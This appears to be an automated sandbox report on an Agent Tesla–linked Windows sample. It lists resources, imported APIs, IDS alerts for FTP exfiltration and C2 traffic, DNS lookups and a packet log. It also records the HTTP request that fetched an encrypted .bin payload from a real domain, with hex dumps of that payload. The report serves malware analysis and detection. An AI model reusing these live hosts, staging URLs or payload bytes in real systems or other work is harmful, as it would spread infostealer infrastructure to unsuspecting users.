RT_ICON	0xb9820	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.44927385892116184
RT_ICON	0xbbdc8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4856941838649156
RT_ICON	0xbce70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5738272921108742
RT_ICON	0xbdd18	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7107400722021661
RT_ICON	0xbe5c0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3926829268292683
RT_ICON	0xbec28	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4718208092485549
RT_ICON	0xbf190	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6427304964539007
RT_ICON	0xbf5f8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.4932795698924731
RT_ICON	0xbf8e0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5709459459459459
RT_DIALOG	0xbfa08	0x100	data	English	United States	0.5234375
RT_DIALOG	0xbfb08	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xbfc28	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xbfcf0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xbfd50	0xca	data	English	United States	0.6237623762376238
RT_VERSION	0xbfe20	0x2b8	COM executable for DOS	English	United States	0.507183908045977
RT_MANIFEST	0xc00d8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, SetWindowPos, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersion, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, ExitProcess, CopyFileW, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T10:51:39.704429+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	109.73.128.91	443	TCP
2024-10-03T10:51:43.838009+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49737	185.146.87.128	21	TCP
2024-10-03T10:51:44.445474+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49738	185.146.87.128	49543	TCP
2024-10-03T10:51:44.450939+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49738	185.146.87.128	49543	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 10:51:38.522793055 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:38.522846937 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:38.522927046 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:38.537669897 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:38.537703991 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.356156111 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.356245995 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.398505926 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.398542881 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.399420977 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.399482012 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.403275967 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.447405100 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.704508066 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.704591990 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.704631090 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.704658031 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.704693079 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.704716921 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.704737902 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.704793930 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.834139109 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.834271908 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.836910009 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.836991072 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.840528011 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.840606928 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.879329920 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.879549980 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.966556072 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.966639996 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.968545914 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.968625069 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.972690105 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.972758055 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.975442886 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.975517035 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.978010893 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.978087902 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:39.980581045 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:39.980663061 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.011904001 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.011982918 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.019654989 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.019737005 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.099271059 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.099421978 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.101260900 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.101340055 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.103807926 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.103890896 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.106381893 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.106462002 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.108449936 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.108525991 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.110503912 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.110585928 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.112580061 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.112662077 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.113924026 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.113997936 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.115940094 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.116015911 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.117749929 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.117830038 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.119411945 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.119484901 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.120979071 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.121052980 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.144979954 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.145065069 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.146476984 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.146574020 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.152355909 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.152434111 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.186544895 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.186629057 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.188255072 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.188338041 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.188966036 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.189016104 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.189029932 CEST	443	49736	109.73.128.91	192.168.2.4
Oct 3, 2024 10:51:40.189073086 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.189100027 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:40.189126015 CEST	49736	443	192.168.2.4	109.73.128.91
Oct 3, 2024 10:51:41.797264099 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:41.802124023 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:41.805430889 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:42.436698914 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:42.436996937 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:42.442014933 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:42.653009892 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:42.653280020 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:42.658206940 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:42.915069103 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:42.917260885 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:42.922247887 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.133241892 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.137435913 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.142267942 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.353231907 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.355113029 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.359884977 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.571044922 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.571270943 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.576174974 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.831985950 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.833060026 CEST	49738	49543	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.837897062 CEST	49543	49738	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:43.837980032 CEST	49738	49543	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.838009119 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:43.842792034 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:44.445097923 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:44.445473909 CEST	49738	49543	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:44.445559025 CEST	49738	49543	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:44.450418949 CEST	49543	49738	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:44.450881004 CEST	49543	49738	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:44.450938940 CEST	49738	49543	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:44.494263887 CEST	49737	21	192.168.2.4	185.146.87.128
Oct 3, 2024 10:51:44.662170887 CEST	21	49737	185.146.87.128	192.168.2.4
Oct 3, 2024 10:51:44.712819099 CEST	49737	21	192.168.2.4	185.146.87.128

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 10:51:38.341543913 CEST	58270	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:51:38.512999058 CEST	53	58270	1.1.1.1	192.168.2.4
Oct 3, 2024 10:51:41.694629908 CEST	50785	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:51:41.790115118 CEST	53	50785	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 10:51:38.341543913 CEST	192.168.2.4	1.1.1.1	0xac18	Standard query (0)	www.corella.ro	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:51:41.694629908 CEST	192.168.2.4	1.1.1.1	0x763a	Standard query (0)	ftp.rusticpensiune.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 10:51:38.512999058 CEST	1.1.1.1	192.168.2.4	0xac18	No error (0)	www.corella.ro	corella.ro		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 10:51:38.512999058 CEST	1.1.1.1	192.168.2.4	0xac18	No error (0)	corella.ro		109.73.128.91	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:51:41.790115118 CEST	1.1.1.1	192.168.2.4	0x763a	No error (0)	ftp.rusticpensiune.ro		185.146.87.128	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.corella.ro

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	109.73.128.91	443	7860	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:51:39 UTC	195	OUT	GET /bazyland/whwWkpNOyoMrBlLiWEjvE44.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: www.corella.ro Cache-Control: no-cache
2024-10-03 08:51:39 UTC	223	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:51:40 GMT Server: Apache Last-Modified: Thu, 03 Oct 2024 07:06:42 GMT Accept-Ranges: bytes Content-Length: 241216 Connection: close Content-Type: application/octet-stream
2024-10-03 08:51:39 UTC	7969	IN	Data Raw: 53 1a 4f 30 42 4b 30 6f f3 88 41 ab e7 58 a7 86 0c 48 b1 2d 15 84 35 7e 4c 9a 1c 24 e8 30 59 f9 44 63 80 33 d8 da 51 e8 21 f9 ec 37 39 51 4e 3a ac d1 2b 92 cf 5b 82 f2 9b 9e 0e a1 7f 63 70 d2 9c fe 20 8a 5e af 60 3a 4b 64 bf 3b 48 48 99 2f 1b 68 a8 6c 95 f2 a9 11 11 37 a5 40 a4 df 1f f3 ad 7d af 3c 96 84 7e 37 22 58 4a ec 7a 49 8e 0e af 03 eb c9 d9 cf 73 cd 0f 27 be 7b fb 7c 42 4d a0 86 8d 83 4c fb 37 92 4b b2 e4 18 81 d9 f0 9d cb 51 09 9f af 60 58 a0 38 ad b2 4a 0a 24 23 d5 05 a4 55 cf 41 79 3b 28 76 fe b3 04 26 b6 87 bc cc 44 15 31 ee d3 be 47 08 dc 28 23 0f 8d 8f f0 16 43 69 0f 72 f1 2c 2b 9f 66 a3 52 0f 95 fd fd 6d 1d 3b af 01 79 df d6 4c 8d dd 9d 83 b7 07 ac 1f 40 ec 8a f9 02 f3 ee 3b a7 79 e7 17 cf a6 28 c9 86 fb 56 c9 90 25 29 b7 d6 b5 5c 07 ee 62 Data Ascii: SO0BK0oAXH-5~L$0YDc3Q!79QN:+[cp ^`:Kd;HH/hl7@}<~7"XJzIs'{\|BML7KQ`X8J$#UAy;(v&D1G(#Cir,+fRm;yL@;y(V%)\b
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: c9 80 42 17 cb 09 27 47 a8 12 ad 93 ac 86 df 2e 8e 8e 47 aa e5 56 b2 43 74 e1 6f 81 b9 11 5c b4 c9 68 d2 0b 5f 13 c8 e0 03 db 01 0b 34 0c 32 ba 00 6b 3c 6f ca 95 92 45 94 44 4a 6a d7 a6 94 d6 0d 00 33 c2 ac d0 05 66 16 fd 28 cf 74 84 56 fa df ae b9 bc 05 bc 5c 24 75 1b e1 5d 12 d0 cf 8c f0 ae 4b 42 56 48 16 5a 18 06 f5 22 cd f8 0c 7b f1 01 07 70 bc 5c 87 10 3f 83 0c a5 dc df ee 77 ea 87 d9 46 c2 41 c5 6d 86 7c 9a 60 56 26 2f df 3c bf b3 cc 08 02 7b 3b 4f 46 c0 f3 22 1d 0b 90 93 6d 6b 73 53 4d a1 33 ab 8a 04 89 d8 a8 56 ff dd b6 ea dc ed 9c be e0 24 bd ca 66 e5 32 c0 dc 9b 85 fe bb f5 33 d4 0d ff 33 d3 aa 37 60 76 71 54 d4 b7 e6 5b df a7 b0 8a a3 a3 63 3a 6f 6b bf 3b b7 49 98 16 be 68 a8 6c 6b fe a8 11 71 3a a5 40 a4 ff 1d f3 ad 7d 87 38 94 84 78 95 02 48 Data Ascii: B'G.GVCto\h_42k<oEDJj3f(tV\$u]KBVHZ"{p\?wFAm\|`V&/<{;OF"mksSM3V$f2337`vqT[c:ok;Ihlkq:@}8xH
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 80 23 42 24 4b 52 99 63 12 83 3c 61 86 f4 84 0f 69 24 c9 06 dc 23 d1 b6 ff 00 43 20 43 fe 08 81 ec b5 de 84 72 19 4b f4 c8 11 8c 8f 18 18 e9 de 73 c6 c8 19 98 b4 5e 5b 8e c1 26 e0 6d 0b c0 17 4c c0 d5 0a 0f ba 37 a2 70 8b de 42 63 51 e5 1a 62 37 15 98 57 56 80 e5 c8 23 f2 7c f0 76 13 29 e8 11 40 8a 75 79 3c 3b 59 74 9b af 24 e3 68 a1 fc 33 c4 9b 21 d4 f1 85 46 37 cc 31 cc bb a9 e3 51 9f ac 78 a1 d1 8f ae 37 82 ff 56 4c 48 67 eb 6f 92 89 15 7c cc ca 68 d2 f3 51 11 d9 c0 fd d7 03 0b ea 0a 31 ba 38 f4 3e 56 cf 95 6c 49 af 41 6a 60 d7 9e 75 d5 f3 c6 01 c2 ac d3 cb 6e 17 5a 1a c7 74 85 56 88 c9 8c b9 cc a7 9c a9 2a 75 1b 27 c0 03 d0 cf 72 02 a1 4b 62 77 50 16 5a e6 f9 cd 0c da f8 0c 5b 00 08 06 70 11 4f 87 10 3e 3d 4e a2 dc ff cc 6e ea 87 27 b6 cf 41 c5 93 74 Data Ascii: #B$KRc<ai$#C CrKs^[&mL7pBcQb7WV#\|v)@uy<;Yt$h3!F71Qx7VLHgo\|hQ18>VlIAj`unZtV*u'rKbwPZ[pO>=Nn'At
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: de c5 56 e4 f0 31 ac e1 7e 2e 0e 4a a6 e5 22 49 b9 3a e8 2b 13 c1 4a 23 8d df 8b 8f 1d 22 01 4f ce 4a 7d 7e 72 ed 24 62 dd 02 7b db cb 05 0d 9a cf a4 79 ea 46 8d a5 c6 26 9d 6f 48 b6 02 4b 74 a9 9c 92 80 d9 b4 a1 22 be 3a cc cd ad 1d ec ab 25 1e b1 98 c9 26 b1 88 22 37 6d d8 ca be bd 4a 0a dc d4 08 e9 b0 78 93 8a aa 79 48 26 64 7e 04 c6 b9 23 59 1e 8f 8c 23 30 eb 4e 52 e9 c1 12 8e 05 64 ae ec 84 37 66 59 bc 06 e4 ed 0e 4f 00 fe 4a de 4d d4 57 81 12 bf 01 8e 52 1e 4b 0a c1 ef 8d 9e 7e 18 e9 d4 51 e5 c8 19 66 bc 4e 5b f5 b1 26 a4 69 78 e7 17 46 c4 f5 02 0f a9 07 5e 7e aa da 42 9d 49 e7 1a 53 11 15 98 57 a8 7f d2 ef 23 ca 7a 0a 7f 13 29 33 66 31 8a 55 71 c2 32 59 8a e1 e3 33 e3 6c 89 18 3f c4 91 2f 51 f1 85 44 78 a1 30 cc bd 77 e0 53 9f ac 78 a3 d2 8f 8e c9 Data Ascii: V1~.J"I:+J#"OJ}~r$b{yF&oHKt":%&"7mJxyH&d~#Y#0NRd7fYOJMWRK~QfN[&ixF^~BISW#z)3f1Uq2Y3l?/QDx0wSx
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 6a ee 4a c8 d2 39 5c 71 99 9c f8 5e 43 5a f4 59 83 de 49 64 f7 6c 13 3d d2 57 d5 6e de 4e b0 58 9a b1 c9 93 dc fc aa f9 43 6c 85 4c 1f bc 63 77 d2 ef 93 9a 54 a8 4b 70 f1 b5 20 50 8b 2c 7e ca 8d d0 55 4e b7 c4 c8 b9 0f 15 c2 6b e6 4d 71 0c ce 2b 94 66 de 7c 68 e1 c7 37 46 62 c9 b7 d1 08 d2 5f a9 44 0e be e6 9d 2e ff 8b 02 05 22 f1 a5 af cf e3 5c 94 ad b1 70 a8 ea fb cf a2 1b 72 d1 02 6e a6 dc bf 4b 47 3b 2f 2d 17 c1 25 95 ad de 81 71 13 d1 0f 6e ce 4a 83 72 8d e3 0a 6f e5 71 79 25 ca c2 04 97 cf 5a 4d e1 46 17 5b f0 9a 60 6e bb 98 02 b5 73 9c 9e e0 40 c9 b4 d1 0b a4 3a dd e7 c2 a8 ec ab d1 ee bf 9e f1 e9 bd 8e 22 58 25 d4 ca b4 63 44 05 dc f4 f6 e8 89 72 6d 84 ba 79 50 dc 65 7e 04 c6 bb 2c 59 e0 7d 90 23 aa 35 41 55 e9 3f e0 89 3c 9f a2 eb 84 60 d6 59 bc Data Ascii: jJ9\q^CZYIdl=WnNXClLcwTKp P,~UNkMq+f\|h7Fb_D."\prnKG;/-%qnJroqy%ZMF[`ns@:"X%cDrmyPe~,Y}#5AU?<`Y
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 40 88 35 5b ad 4b a7 a5 66 26 fe e7 78 a0 ae 9b 17 db e3 98 a8 07 0a 11 ee 24 e6 a8 5e 10 d9 d5 50 29 c2 62 7f fd 04 17 4d db af 0c 42 a8 92 b8 33 89 f6 c9 bb 1e e5 6f ab c6 6f 72 46 48 54 a9 5c 98 c4 bc e5 c7 e9 b9 13 82 8d 45 94 bb de 7a 45 b7 65 a5 54 69 2c 76 5b e5 a4 d4 1c 58 d1 8c 04 9f 7e a9 05 a6 7e d2 c5 48 b1 c7 bf 3b 94 f8 16 d8 66 9a 04 82 6a ee b4 c6 a9 7a 74 27 ea 3e d8 5a bd 56 fd a7 ad ce 49 64 09 9e 04 04 e3 56 d5 6e 20 bc b1 61 76 bf cc 93 8f 84 aa f9 49 6c 85 45 1f 9c 9f 7b db ef 4d 91 42 a8 4b 70 fc 9a 32 70 8b 2c 0d 62 73 d1 66 ba b9 c5 c8 99 29 14 c2 6b 18 bd 76 1a ce d5 66 63 c8 5c 4c e9 c7 37 b8 9d f1 9f d4 08 d2 a1 9d 45 0e 40 e8 a5 97 21 71 fd 7b 96 0f ab ac bd b8 b2 98 d4 de e5 a0 ea f1 31 52 1e 4b 21 0e 6a a6 dd e8 48 47 3b f1 Data Ascii: @5[Kf&x$^P)bMB3oorFHT\EzEeTi,v[X~~H;fjzt'>ZVIdVn avIlE{MBKp2p,bsf)kvfc\L7E@!q{1RK!jHG;
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 5e c2 5d 85 ba 4a f7 2b a1 f9 e7 91 67 b7 b7 45 6f 91 7d 6a 92 fc 2e 13 b0 5e 7a 9d 87 6b aa c6 ec 9c 97 88 92 bf fe 1f c7 8b 7d 9e 62 d9 e2 c5 a9 61 0f f5 24 e2 61 bb 4d b2 c2 d9 e7 42 84 82 2b b6 a6 f4 ce 8c de 41 f4 d2 d0 b4 af 28 1f 46 fa 54 0e 82 57 78 2b 8d ed 93 03 48 7d 46 a5 e0 27 81 c0 7e 6e 6f 3a 5e e1 eb b9 1a c7 78 03 8b 54 a6 98 ce 73 47 41 88 a4 65 ae 4b ad 7b 6a 25 fe c7 47 9d ae 9b e9 fa de 8a a8 07 f4 3f e4 24 e6 56 ac 14 d8 f5 72 2a c2 62 81 02 33 06 4d db 51 28 90 a8 b2 be cd 87 f7 37 9a 24 ef 6f ab 38 61 58 47 48 aa a5 a8 96 e7 b9 e5 39 e5 44 12 9b 2f 44 94 bb de 77 7d b2 0a 01 54 51 23 88 55 ed 9c f6 84 a6 2e 72 f6 92 76 83 2d 0f 7e c1 ff b2 bf b6 bc c5 98 d7 16 f0 bc ba 04 88 94 e0 49 c8 5e 76 4f 71 d3 33 d8 5a 43 a4 f8 a7 8d 36 47 Data Ascii: ^]J+gEo}j.^zk}ba$aMB+A(FTWx+H}F'~no:^xTsGAeK{j%G?$Vr*b3MQ(7$o8aXGH9D/Dw}TQ#U.rv-~I^vOq3ZC6G
